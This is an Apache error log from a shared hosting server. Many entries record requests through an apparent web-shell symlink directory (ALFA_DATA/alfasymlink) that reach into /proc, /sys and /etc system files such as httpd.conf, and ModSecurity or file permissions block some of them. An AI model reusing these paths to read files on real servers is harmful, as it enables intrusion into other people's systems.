[Tue Oct 27 01:22:14.684089 2026] [proxy_http:error] [pid 3167557:tid 3167557] [client 185.93.55.108:44498] AH01097: pass request body failed to 127.0.0.1:2082 (127.0.0.1) from 185.93.55.108 ()
[Tue Oct 27 01:22:14.774540 2026] [proxy_http:error] [pid 3167557:tid 3167557] [client 185.93.55.108:44498] AH01086: read less bytes of request body than expected (got 82722, expected 131874)
[Tue Oct 27 01:22:14.774567 2026] [proxy_http:error] [pid 3167557:tid 3167557] [client 185.93.55.108:44498] AH01097: pass request body failed to 127.0.0.1:2082 (127.0.0.1) from 185.93.55.108 ()
[Tue Oct 27 01:22:15.011717 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 52.45.194.165:11388] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:22:17.179760 2026] [ssl:error] [pid 3165078:tid 3165078] (70014)End of file found: [client 185.191.171.16:57582] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:22:21.913979 2026] [proxy:error] [pid 3167556:tid 3167556] (32)Broken pipe: [client 185.93.55.108:44512] AH01084: pass request body failed to 127.0.0.1:2082 (127.0.0.1)
[Tue Oct 27 01:22:21.914068 2026] [proxy_http:error] [pid 3167556:tid 3167556] [client 185.93.55.108:44512] AH01097: pass request body failed to 127.0.0.1:2082 (127.0.0.1) from 185.93.55.108 ()
[Tue Oct 27 01:22:21.980069 2026] [proxy_http:error] [pid 3167556:tid 3167556] [client 185.93.55.108:44512] AH01086: read less bytes of request body than expected (got 82722, expected 131874)
[Tue Oct 27 01:22:21.980112 2026] [proxy_http:error] [pid 3167556:tid 3167556] [client 185.93.55.108:44512] AH01097: pass request body failed to 127.0.0.1:2082 (127.0.0.1) from 185.93.55.108 ()
[Tue Oct 27 01:22:27.031356 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 34.234.197.175:41358] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:22:39.340886 2026] [ssl:error] [pid 3167557:tid 3167557] (70014)End of file found: [client 185.191.171.2:14554] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:22:39.471021 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 100.29.63.24:31817] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:22:40.554971 2026] [ssl:error] [pid 3165078:tid 3165078] (70014)End of file found: [client 85.208.96.194:35484] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:22:46.217749 2026] [ssl:error] [pid 3167556:tid 3167556] (70014)End of file found: [client 85.208.96.194:14044] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:22:51.500059 2026] [ssl:error] [pid 3167551:tid 3167551] (70014)End of file found: [client 3.225.45.252:56907] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:22:55.415942 2026] [ssl:error] [pid 3167557:tid 3167557] (70014)End of file found: [client 44.207.207.36:48050] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:22:59.215183 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 52.21.62.139:10628] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:23:03.436127 2026] [core:error] [pid 3165078:tid 3165078] (13)Permission denied: [client 3.217.171.106:61098] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/PNP0A03:00/device:0f/eject
[Tue Oct 27 01:23:07.480367 2026] [ssl:error] [pid 3163812:tid 3163812] (70014)End of file found: [client 98.83.10.183:12838] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:23:15.242880 2026] [ssl:error] [pid 3167551:tid 3167551] (70014)End of file found: [client 34.231.156.59:44507] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:23:16.088477 2026] [core:error] [pid 3157828:tid 3157828] (13)Permission denied: [client 185.191.171.16:32352] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/rsyslogd.pid
[Tue Oct 27 01:23:27.520746 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 52.5.232.250:49682] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:23:36.030025 2026] [ssl:error] [pid 3167551:tid 3167551] (70014)End of file found: [client 44.221.105.234:51736] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:23:39.164012 2026] [core:error] [pid 3167913:tid 3167913] (13)Permission denied: [client 85.208.96.209:62694] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/align
[Tue Oct 27 01:23:43.462534 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 52.5.232.250:33908] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:23:45.505038 2026] [security2:error] [pid 3167551:tid 3167551] [client 216.244.66.250:43042] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/vconsole.conf"] [unique_id "auA1YUo9LDiB3KV8l7teGwAAAAc"]
[Tue Oct 27 01:23:45.505425 2026] [security2:error] [pid 3167551:tid 3167551] [client 216.244.66.250:43042] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/vconsole.conf"] [unique_id "auA1YUo9LDiB3KV8l7teGwAAAAc"]
[Tue Oct 27 01:23:45.505704 2026] [security2:error] [pid 3167551:tid 3167551] [client 216.244.66.250:43042] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/vconsole.conf"] [unique_id "auA1YUo9LDiB3KV8l7teGwAAAAc"]
[Tue Oct 27 01:23:51.370725 2026] [core:error] [pid 3167526:tid 3167526] (13)Permission denied: [client 52.0.218.219:34133] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS2/type
[Tue Oct 27 01:23:59.646029 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 52.203.65.83:19460] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:24:02.509880 2026] [core:error] [pid 3157828:tid 3157828] (13)Permission denied: [client 85.208.96.206:33632] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-1k/shrink
[Tue Oct 27 01:24:11.520461 2026] [core:error] [pid 3157828:tid 3157828] (13)Permission denied: [client 44.215.235.20:26748] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/QEMU0002:00/driver/uevent
[Tue Oct 27 01:24:15.678752 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 34.205.163.103:60172] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:24:16.989448 2026] [security2:error] [pid 3165078:tid 3165078] [client 107.172.76.131:58349] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA1deDxeK-aqIxlyYw3qwAAAAM"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 01:24:16.989483 2026] [security2:error] [pid 3165078:tid 3165078] [client 107.172.76.131:58349] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA1deDxeK-aqIxlyYw3qwAAAAM"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 01:24:19.659881 2026] [core:error] [pid 3161716:tid 3161716] (13)Permission denied: [client 185.191.171.16:45142] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/objects_partial
[Tue Oct 27 01:24:23.703544 2026] [ssl:error] [pid 3167913:tid 3167913] (70014)End of file found: [client 52.3.127.170:8799] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:24:32.091491 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 3.93.211.16:48919] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:24:35.605180 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 3.213.46.222:19739] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:24:47.625272 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 3.81.253.213:5584] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:24:59.778195 2026] [ssl:error] [pid 3157828:tid 3157828] (70014)End of file found: [client 23.23.180.225:40392] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:25:12.167729 2026] [security2:error] [pid 3157828:tid 3157828] [client 16.216.88.112:51200] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf/httpd.conf"] [unique_id "auA1uMzQS_MM43TPSbyggQAAAA8"]
[Tue Oct 27 01:25:12.168213 2026] [security2:error] [pid 3157828:tid 3157828] [client 16.216.88.112:51200] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf/httpd.conf"] [unique_id "auA1uMzQS_MM43TPSbyggQAAAA8"]
[Tue Oct 27 01:25:12.168609 2026] [security2:error] [pid 3157828:tid 3157828] [client 16.216.88.112:51200] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf/httpd.conf"] [unique_id "auA1uMzQS_MM43TPSbyggQAAAA8"]
[Tue Oct 27 01:25:19.689028 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 54.88.84.219:58654] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:25:23.771798 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 52.2.83.227:29699] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:25:27.913848 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 3.93.253.174:2342] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:25:43.807504 2026] [core:error] [pid 3163247:tid 3163247] (13)Permission denied: [client 23.21.225.190:55631] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/driver/bind
[Tue Oct 27 01:25:51.724293 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 52.22.87.224:53780] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:25:55.799578 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 184.73.195.18:44836] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:26:04.963584 2026] [ssl:error] [pid 3163812:tid 3163812] (70014)End of file found: [client 34.193.2.57:43807] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:26:10.180731 2026] [security2:error] [pid 3167840:tid 3167840] [client 107.172.76.131:58344] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA15PXbJDtVskfEFgg5iAAAAAQ"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 01:26:10.180802 2026] [security2:error] [pid 3167840:tid 3167840] [client 107.172.76.131:58344] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA15PXbJDtVskfEFgg5iAAAAAQ"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 01:26:23.850802 2026] [ssl:error] [pid 3163812:tid 3163812] (70014)End of file found: [client 3.211.181.86:8811] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:26:27.704442 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 98.83.10.183:17148] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:26:39.859865 2026] [core:error] [pid 3157828:tid 3157828] (13)Permission denied: [client 3.213.46.222:18889] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/ACPI0010:00/subsystem/drivers/ac/unbind
[Tue Oct 27 01:26:43.678553 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 3.235.215.92:19748] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:26:50.261428 2026] [core:error] [pid 3167556:tid 3167556] (13)Permission denied: [client 185.191.171.8:36578] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/reclaim_account
[Tue Oct 27 01:26:52.003053 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 98.82.59.253:56396] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:26:59.885450 2026] [ssl:error] [pid 3165203:tid 3165203] (70014)End of file found: [client 54.156.124.2:58538] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:27:03.699956 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 23.23.103.31:57125] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:27:07.676369 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 54.83.56.1:45280] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:27:15.233565 2026] [ssl:error] [pid 3165203:tid 3165203] (70014)End of file found: [client 85.208.96.194:59046] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:27:16.384265 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 52.200.251.20:45656] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:27:31.760997 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 54.144.185.255:3634] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:27:35.863783 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 98.84.60.17:5309] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:27:43.700874 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 34.231.181.240:22201] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:27:47.747047 2026] [ssl:error] [pid 3167526:tid 3167526] (70014)End of file found: [client 52.3.155.146:10635] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:27:52.119587 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 18.214.124.6:39437] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:27:55.864563 2026] [ssl:error] [pid 3167913:tid 3167913] (70014)End of file found: [client 54.166.104.83:59854] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:28:15.727155 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 34.236.135.14:60959] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:28:27.930174 2026] [ssl:error] [pid 3163812:tid 3163812] (70014)End of file found: [client 23.20.178.124:29514] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:28:43.331165 2026] [authz_core:error] [pid 3165203:tid 3165203] [client 110.172.98.2:40408] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:28:43.604324 2026] [core:error] [pid 3165580:tid 3165580] (13)Permission denied: [client 185.191.171.17:56118] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/io/alloc_calls
[Tue Oct 27 01:28:43.828713 2026] [ssl:error] [pid 3163812:tid 3163812] (70014)End of file found: [client 34.196.114.170:27183] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:28:47.704296 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 34.195.248.30:61475] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:28:59.754153 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 54.152.163.42:48791] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:29:15.758413 2026] [ssl:error] [pid 3167551:tid 3167551] (70014)End of file found: [client 54.235.172.108:1545] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:29:27.686514 2026] [ssl:error] [pid 3167526:tid 3167526] (70014)End of file found: [client 54.87.95.7:13886] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:29:31.757520 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 44.223.193.255:25689] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:29:39.687510 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 52.70.123.241:61702] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:29:59.965851 2026] [ssl:error] [pid 3163812:tid 3163812] (70014)End of file found: [client 18.235.81.246:22985] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:30:03.754134 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 44.205.192.249:36228] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:30:16.312025 2026] [security2:error] [pid 3165333:tid 3165333] [client 107.172.76.131:58281] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA22oDoqn1HgTp8tuFy8AAAAAI"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 01:30:16.312085 2026] [security2:error] [pid 3165333:tid 3165333] [client 107.172.76.131:58281] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA22oDoqn1HgTp8tuFy8AAAAAI"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 01:30:19.530876 2026] [core:error] [pid 3157828:tid 3157828] (13)Permission denied: [client 185.191.171.3:25404] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-256/ctor
[Tue Oct 27 01:30:20.076838 2026] [ssl:error] [pid 3163812:tid 3163812] (70014)End of file found: [client 52.3.155.146:11321] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:30:27.883645 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 34.196.6.199:60360] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:30:40.057428 2026] [ssl:error] [pid 3169073:tid 3169073] (70014)End of file found: [client 34.196.237.236:29096] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:30:44.222771 2026] [ssl:error] [pid 3157136:tid 3157136] (70014)End of file found: [client 54.159.18.27:48319] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:30:48.075126 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 98.83.10.183:6319] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:30:52.509085 2026] [security2:error] [pid 3169065:tid 3169065] [client 98.83.8.142:1785] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/firmware_node/device:03/"] [unique_id "auA3DK-CuCkM7UxcAkRXAwAAABE"]
[Tue Oct 27 01:30:52.509135 2026] [security2:error] [pid 3169065:tid 3169065] [client 98.83.8.142:1785] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/firmware_node/device:03/"] [unique_id "auA3DK-CuCkM7UxcAkRXAwAAABE"]
[Tue Oct 27 01:30:55.886899 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 52.204.81.148:55713] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:30:57.936054 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 185.191.171.4:25938] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:30:59.680947 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 44.213.36.21:42882] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:31:03.984121 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 44.212.145.46:21359] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:31:07.855335 2026] [ssl:error] [pid 3165580:tid 3165580] (70014)End of file found: [client 44.206.65.8:39945] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:31:09.506239 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 85.208.96.203:53276] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:31:11.807184 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 52.200.251.20:44244] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:31:16.104526 2026] [core:error] [pid 3165333:tid 3165333] (13)Permission denied: [client 34.203.111.15:55209] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/driver/0000:00:03.0/resource0
[Tue Oct 27 01:31:20.533004 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 3.213.85.234:32929] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:31:27.094613 2026] [security2:error] [pid 3165078:tid 3165078] [client 107.172.76.131:58407] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA3IuDxeK-aqIxlyYw3ygAAAAM"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 01:31:27.094668 2026] [security2:error] [pid 3165078:tid 3165078] [client 107.172.76.131:58407] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA3IuDxeK-aqIxlyYw3ygAAAAM"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 01:31:36.325782 2026] [core:error] [pid 3165580:tid 3165580] (13)Permission denied: [client 52.2.191.202:13895] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS0/io_type
[Tue Oct 27 01:31:40.232195 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 34.192.125.239:19589] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:31:40.232514 2026] [security2:error] [pid 3164823:tid 3164823] [client 34.192.125.239:19589] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input3/subsystem/mice/subsystem/event3/device/name"] [unique_id "auA3PDoDckKnHHUz0sTL7QAAAA0"]
[Tue Oct 27 01:31:40.232566 2026] [security2:error] [pid 3164823:tid 3164823] [client 34.192.125.239:19589] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input3/subsystem/mice/subsystem/event3/device/name"] [unique_id "auA3PDoDckKnHHUz0sTL7QAAAA0"]
[Tue Oct 27 01:31:43.824905 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 18.235.81.246:15304] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:31:55.872079 2026] [ssl:error] [pid 3165333:tid 3165333] (70014)End of file found: [client 3.211.105.134:52277] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:32:03.959047 2026] [core:error] [pid 3169065:tid 3169065] (13)Permission denied: [client 34.231.118.144:53170] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/bind
[Tue Oct 27 01:32:07.870315 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 52.44.174.136:13332] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:32:11.882675 2026] [ssl:error] [pid 3167840:tid 3167840] (70014)End of file found: [client 107.20.25.33:4663] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:32:17.686793 2026] [proxy_fcgi:error] [pid 3165203:tid 3165203] [client 64.225.44.195:49337] AH01071: Got error 'Primary script unknown'
